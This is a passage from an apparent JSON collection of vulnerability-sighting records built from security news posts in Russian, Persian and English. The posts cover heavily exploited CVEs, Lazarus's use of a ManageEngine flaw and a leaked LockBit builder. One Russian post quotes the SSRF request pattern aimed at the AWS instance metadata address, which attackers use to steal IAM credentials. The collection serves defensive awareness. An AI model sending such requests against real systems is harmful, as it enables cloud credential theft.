\u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0445 \u0438 \u043d\u043e\u0432\u0430\u044f \u0430\u0442\u0430\u043a\u0430 \u043d\u0430 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 AWS \u0447\u0435\u0440\u0435\u0437 \u0442\u0435\u0445\u043d\u0438\u043a\u0443 SSRF (Server-Side Request Forgery). \u0410\u043d\u0430\u043b\u0438\u0437 \u043f\u043e\u043a\u0430\u0437\u0430\u043b, \u043a\u0430\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432 \u043f\u0440\u0438\u0446\u0435\u043b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0438 \u043a\u0430\u043a\u0438\u0435 \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0438 \u0437\u0430\u0449\u0438\u0442\u044b \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b.\n\n\u0410\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u043c \u043b\u0438\u0434\u0435\u0440\u043e\u043c \u043f\u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0443 \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0441\u043d\u043e\u0432\u0430 \u0441\u0442\u0430\u043b\u0430 CVE-2017-9841 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9.8) \u2014 \u0441\u0442\u0430\u0440\u0430\u044f, \u043d\u043e \u0432\u043e\u0441\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 PHPUnit, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u0439 \u043a\u043e\u0434. \u0421\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u0430 \u043c\u0430\u0440\u0442 \u0431\u044b\u043b\u043e \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u043f\u043e\u0447\u0442\u0438 70 \u0442\u044b\u0441\u044f\u0447 \u0440\u0430\u0437. \u041f\u0440\u0438\u0447\u0451\u043c \u0438\u043d\u0442\u0435\u0440\u0435\u0441 \u043a \u043e\u0448\u0438\u0431\u043a\u0435 \u0440\u0435\u0437\u043a\u043e \u0432\u043e\u0437\u0440\u043e\u0441 \u0435\u0449\u0451 \u0432 \u043c\u0430\u0435 2024 \u0433\u043e\u0434\u0430 \u0438 \u0441 \u0442\u0435\u0445 \u043f\u043e\u0440 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432\u043e\u043b\u043d\u0430\u043c\u0438. \u0422\u0430\u043a\u0430\u044f \u0434\u0438\u043d\u0430\u043c\u0438\u043a\u0430 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 \u0443\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u0443\u044e \u0437\u0430\u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0441\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0432 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432\u0441\u0451 \u0435\u0449\u0451 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f PHPUnit.\n\n\u0412\u0442\u043e\u0440\u043e\u0435 \u043c\u0435\u0441\u0442\u043e \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u043b\u0430 CVE-2023-1389 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8.8), \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0430\u043c\u0438 TP-Link Archer AX21. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0442\u0438\u0432 \u0434\u043e\u043c\u0430\u0448\u043d\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439. \u0414\u0430\u0436\u0435 \u0441 \u0443\u0447\u0451\u0442\u043e\u043c \u0432\u044b\u043f\u0443\u0441\u043a\u043e\u0432 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439, \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u043e\u0441\u0442\u0430\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u0435\u0437\u0430\u043a\u0440\u044b\u0442\u044b\u043c\u0438 \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u2014 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e, \u0435\u0441\u043b\u0438 \u0440\u0435\u0447\u044c \u0438\u0434\u0451\u0442 \u043e \u0434\u043e\u043c\u0430\u0448\u043d\u0438\u0445 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0430\u0445, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u0430\u043c\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 \u043f\u0440\u0438 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u0435.\n\n\u0422\u0440\u0435\u0442\u044c\u044e \u0441\u0442\u0440\u043e\u0447\u043a\u0443 \u0437\u0430\u043d\u044f\u043b\u0430 CVE-2024-4577 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9.8) \u2014 \u0441\u0432\u0435\u0436\u0430\u044f \u0438 \u043e\u043f\u0430\u0441\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 PHP-CGI \u043d\u0430 Windows, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u043e\u0431\u0445\u043e\u0434\u043e\u043c \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u0431\u0430\u0433 \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u043a\u0438 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432. \u0412 \u0430\u0442\u0430\u043a\u0430\u0445 \u0441 \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u043c\u0430\u0439\u043d\u0435\u0440\u044b \u043a\u0440\u0438\u043f\u0442\u043e\u0432\u0430\u043b\u044e\u0442, \u0431\u043e\u0442\u043d\u0435\u0442\u044b \u0438 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u0435 \u0442\u0440\u043e\u044f\u043d\u044b. \u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0441\u043e\u0432\u0435\u0442\u0443\u044e\u0442 \u043d\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c PHP, \u043d\u043e \u0438 \u043f\u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c\u0441\u044f \u043e\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f CGI-\u0440\u0435\u0436\u0438\u043c\u0430 \u0432 \u043f\u043e\u043b\u044c\u0437\u0443 \u0431\u043e\u043b\u0435\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0433\u043e PHP-FPM.\n\n\u041d\u0435 \u0442\u0435\u0440\u044f\u0435\u0442 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u0438 \u0438 CVE-2019-9082 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8.8), \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 ThinkPHP, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0432\u043e\u0437\u0440\u0430\u0441\u0442, \u043e\u043d\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u043f\u043e\u0434\u0447\u0451\u0440\u043a\u0438\u0432\u0430\u0435\u0442 \u043e\u0431\u0449\u0443\u044e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443: \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0430\u0442\u0430\u043a \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0447\u0435\u0442\u044b\u0440\u0451\u0445\u043b\u0435\u0442\u043d\u0435\u0439 \u0438 \u0431\u043e\u043b\u0435\u0435 \u0434\u0430\u0432\u043d\u043e\u0441\u0442\u0438.\n\n\u041e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f \u0437\u0430\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u0435\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f \u0432 \u043c\u0430\u0440\u0442\u0435 \u0430\u0442\u0430\u043a\u0430 \u043d\u0430 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b Amazon. \u0412 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0434\u043d\u0435\u0439 \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u0430\u044f \u043d\u0430 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 EC2 Instance Metadata \u0447\u0435\u0440\u0435\u0437 SSRF. \u0410\u0442\u0430\u043a\u0438 \u0431\u044b\u043b\u0438 \u043a\u0440\u0430\u0442\u043a\u043e\u0441\u0440\u043e\u0447\u043d\u044b\u043c\u0438, \u043d\u043e \u0445\u043e\u0440\u043e\u0448\u043e \u0441\u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438: \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c GET-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043a \u0430\u0434\u0440\u0435\u0441\u0430\u043c \u0432\u0440\u043e\u0434\u0435 /?url= http://169.254.169.254/latest/meta-data/ , \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u0445 \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0441 \u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u043c\u0438 (target, file, uri \u0438 \u0434\u0440.). \u0426\u0435\u043b\u044c \u2014 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0434\u0430\u043d\u043d\u044b\u043c EC2, \u0432\u043a\u043b\u044e\u0447\u0430\u044f IAM-\u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e. \u0412\u0441\u0435 \u0430\u0442\u0430\u043a\u0438 \u0448\u043b\u0438 \u0441 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u043e\u0434\u043d\u043e\u0433\u043e \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u043e\u0433\u043e \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e \u043d\u043e\u043c\u0435\u0440\u0430, \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0430\u0449\u0435\u0433\u043e \u0444\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u043e\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u0441 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0430\u043c\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0435\u0434\u0438\u043d\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b.\n\n\u041e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0430 \u043e\u0431\u0445\u043e\u0434\u0438\u0442 \u0437\u0430\u0449\u0438\u0442\u0443 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f. \u0427\u0442\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c\u0441\u044f \u043e\u0442 \u0442\u0430\u043a\u0438\u0445 \u0430\u0442\u0430\u043a, AWS \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u0442\u044c \u0441 IMDSv1 \u043d\u0430 IMDSv2 \u2014 \u044d\u0442\u043e\u0442 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0442\u043e\u043a\u0435\u043d \u0432 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0435, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 SSRF-\u0430\u0442\u0430\u043a\u0438 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u043c\u0438.\n\n\u0410\u043d\u0430\u043b\u0438\u0437 \u0442\u0435\u043d\u0434\u0435\u043d\u0446\u0438\u0439 \u0437\u0430 \u0433\u043e\u0434 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0443\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u044b\u0439 \u0440\u043e\u0441\u0442 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u043f\u043e \u0442\u0440\u0435\u043c \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u043c: CVE-2019-9082 \u043f\u043e\u0441\u0442\u0435\u043f\u0435\u043d\u043d\u043e \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0440\u0430\u0434\u0430\u0440\u044b \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0445, CVE-2024-4577 \u0431\u044b\u0441\u0442\u0440\u043e \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c, \u0430 CVE-2022-47945 \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442 \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u0443\u044e \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c.\n\n\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043d\u0435\u0438\u0437\u043c\u0435\u043d\u043d\u044b\u043c\u0438: \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0441\u0432\u043e\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a WAF . \u041e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0432\u0430\u0436\u043d\u043e \u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0437\u0430 \u0442\u0440\u0430\u0444\u0438\u043a\u043e\u043c \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 outbound-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u043d\u0430 \u0443\u0447\u0430\u0441\u0442\u0438\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0432 \u0431\u043e\u0442\u043d\u0435\u0442\u0435 \u0438\u043b\u0438 \u0443\u0442\u0435\u0447\u043a\u0443 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2025-04-11T05:27:59.000000Z"}, {"uuid": "5180c64f-da22-499d-8733-c13a9101bd57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "exploited", "source": "https://t.me/BleepingComputer/17911", "content": "\u200aHackers use public ManageEngine exploit to breach internet org\n\nThe North Korean state-backed hacker group tracked as Lazarus has been exploiting a critical vulnerability (CVE-2022-47966) in Zoho's ManageEngine ServiceDesk\u00a0to compromise an internet backbone infrastructure provider and healthcare organizations. [...]\n\nhttps://www.bleepingcomputer.com/news/security/hackers-use-public-manageengine-exploit-to-breach-internet-org/", "creation_timestamp": "2023-08-24T16:09:10.000000Z"}, {"uuid": "7dadf88b-3641-4795-bdc7-0e246a86a335", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47521", "type": "seen", "source": "https://t.me/cyberbannews_ir/7120", "content": "\ud83c\udf10 \u06a9\u0634\u0641 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062c\u062f\u06cc\u062f \u062f\u0631 \u0647\u0633\u062a\u0647 \u0644\u06cc\u0646\u0648\u06a9\u0633\n\n\ud83d\udd39\u06a9\u0627\u0631\u0634\u0646\u0627\u0633\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a \u0633\u0627\u06cc\u0628\u0631\u06cc \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062f\u0631 \u0633\u06cc\u0633\u062a\u0645 \u0639\u0627\u0645\u0644 \u0644\u06cc\u0646\u0648\u06a9\u0633 \u06a9\u0634\u0641 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f \u06a9\u0647 \u0645\u0645\u06a9\u0646 \u0627\u0633\u062a \u062a\u0648\u0633\u0637 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0645\u0648\u0631\u062f \u0633\u0648\u0621 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0642\u0631\u0627\u0631 \u06af\u0631\u0641\u062a\u0647 \u0628\u0627\u0634\u062f.\n\n\ud83d\udd39 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062f\u0627\u0631\u0627\u06cc \u0634\u0646\u0627\u0633\u0647 CVE-2022-47521 \u0627\u0633\u062a \u06a9\u0647 \u06cc\u06a9 \u0646\u0642\u0635 \u0627\u0645\u0646\u06cc\u062a\u06cc \u062f\u0631 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u0645\u0627\u0642\u0628\u0644 \u06f6.\u06f0.\u06f1\u06f1 \u0647\u0633\u062a\u0647 \u0644\u06cc\u0646\u0648\u06a9\u0633 \u0627\u0633\u062a \u0648 \u062f\u0644\u06cc\u0644 \u0622\u0646 \u0641\u0642\u062f\u0627\u0646 \u0627\u0639\u062a\u0628\u0627\u0631 IEEE80211_P2P_ATTR_CHANNEL_LIST \u062f\u0631 \u0641\u0627\u06cc\u0644 drivers/net/wireless/microchip/wilc1000/cfg80211.c \u062f\u0631 \u062f\u0631\u0627\u06cc\u0648\u0631 WILC1000 wireless \u0628\u0648\u062f\u0647 \u0648 \u0633\u0648\u0621 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0622\u0646 \u0645\u0646\u062c\u0631 \u0628\u0647 \u062e\u0637\u0627\u06cc \u0633\u0631\u0631\u06cc\u0632 \u0628\u0627\u0641\u0631 \u0645\u0628\u062a\u0646\u06cc \u0628\u0631 heap \u0645\u06cc\u200c\u0634\u0648\u062f.\n\n\ud83d\udd39 \u06a9\u0627\u0631\u0634\u0646\u0627\u0633\u0627\u0646 \u062a\u0648\u0635\u06cc\u0647 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f \u06a9\u0647 \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u0627\u0632 \u062c\u062f\u06cc\u062f\u062a\u0631\u06cc\u0646 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u0644\u06cc\u0646\u0648\u06a9\u0633 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u0646\u062f \u062a\u0627 \u0628\u062a\u0648\u0627\u0646\u0646\u062f \u06a9\u0645\u062a\u0631\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0631\u0627 \u062f\u0631 \u0645\u0642\u0627\u0628\u0644 \u062d\u0645\u0644\u0627\u062a \u0633\u0627\u06cc\u0628\u0631\u06cc \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u0646\u062f.\n\n#\u062d\u0645\u0644\u0647_\u0633\u0627\u06cc\u0628\u0631\u06cc #\u0644\u06cc\u0646\u0648\u06a9\u0633 #\u0633\u0631\u0648\u0631 #\u0627\u0645\u0646\u06cc\u062a #\u0622\u0633\u06cc\u0628_\u067e\u0630\u06cc\u0631\u06cc #\u0646\u0642\u0635_\u0627\u0645\u0646\u06cc\u062a\u06cc\n\n\ud83c\udd94 @cyberbannews_ir", "creation_timestamp": "2022-12-28T13:16:08.000000Z"}, {"uuid": "20294a54-0d54-406c-bd1b-ad43f16cfc10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "published-proof-of-concept", "source": "https://t.me/kasperskyb2b/840", "content": "\ud83d\udc68\u200d\ud83d\udcbb \u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f APT  \u0437\u0430 \u043d\u0435\u0434\u0435\u043b\u044e\n\n\ud83d\udcb2 \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0443\u0442\u0435\u043a\u0448\u0435\u0433\u043e \u0431\u0438\u043b\u0434\u0435\u0440\u0430 \u0434\u043b\u044f \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430 Lockbit black (\u043e\u043d \u0436\u0435 Lockbit v3). \u0418\u043d\u0442\u0435\u0440\u0435\u0441 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043c\u0435\u043d\u044f\u0442\u044c \u00ab\u043f\u0430\u0440\u0442\u043d\u0451\u0440\u044b\u00bb Lockbit \u0438 \u0442\u043e, \u043a\u0430\u043a \u043f\u043e-\u0440\u0430\u0437\u043d\u043e\u043c\u0443 \u0438\u0445 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435. \u0420\u0430\u0437\u0443\u043c\u0435\u0435\u0442\u0441\u044f, \u0443\u0442\u0435\u0447\u043a\u0430 \u0431\u0438\u043b\u0434\u0435\u0440\u0430 \u043f\u0440\u0438\u0432\u0435\u043b\u0430 \u043a \u043d\u043e\u0432\u044b\u043c \u0430\u0442\u0430\u043a\u0430\u043c \u043d\u0430 \u0435\u0433\u043e \u043e\u0441\u043d\u043e\u0432\u0435. \n\n\ud83d\udc40 